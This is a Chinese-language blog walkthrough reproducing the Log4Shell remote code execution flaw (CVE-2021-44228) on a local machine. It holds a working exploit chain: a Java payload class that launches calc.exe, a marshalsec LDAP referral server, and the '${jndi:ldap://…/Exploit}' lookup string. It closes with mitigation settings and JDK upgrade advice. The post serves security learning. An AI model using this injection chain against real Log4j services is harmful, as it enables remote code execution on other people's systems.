Log4J远程代码执行漏洞复现(CVE-2021-44228)
受影响版本log4j版本:2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1
受影响的应用及组件:Apache Solr、Apache Struts2、Apache Flink、Apache Druid、spring-boot-strater-log4j2、ElasticSearch、Apache Flume、Dubbo、Redis、Logstash、Apache Kafka等
复现环境:java version “1.8.0_311” 、log4j-2.14.1、marshalsec-0.0.3-SNAPSHOT-all.jar
- Exploit.java
public class Exploit {
public Exploit(){
try{
String[] commands = {"cmd.exe","/c","calc.exe"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
- Exploit.class开启http服务
python3 -m http.server 8080
- marshalsec 开启ldap服务 项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit"
由于本次使用的jdk版本为 8u311默认将 com.sun.jndi.ldap.object.trustURLCodebase 设置为 false
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
- Log4jRce.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jRce {
private static final Logger logger = LogManager.getLogger(Log4jRce.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}
}
复现截图
漏洞修复
-
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
-
在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
-
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
添加log4j2.component.properties配置文件
- JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
添加log4j2.component.properties配置文件
仅用于学习交流,不得用于非法用途
如侵权请私聊博主删文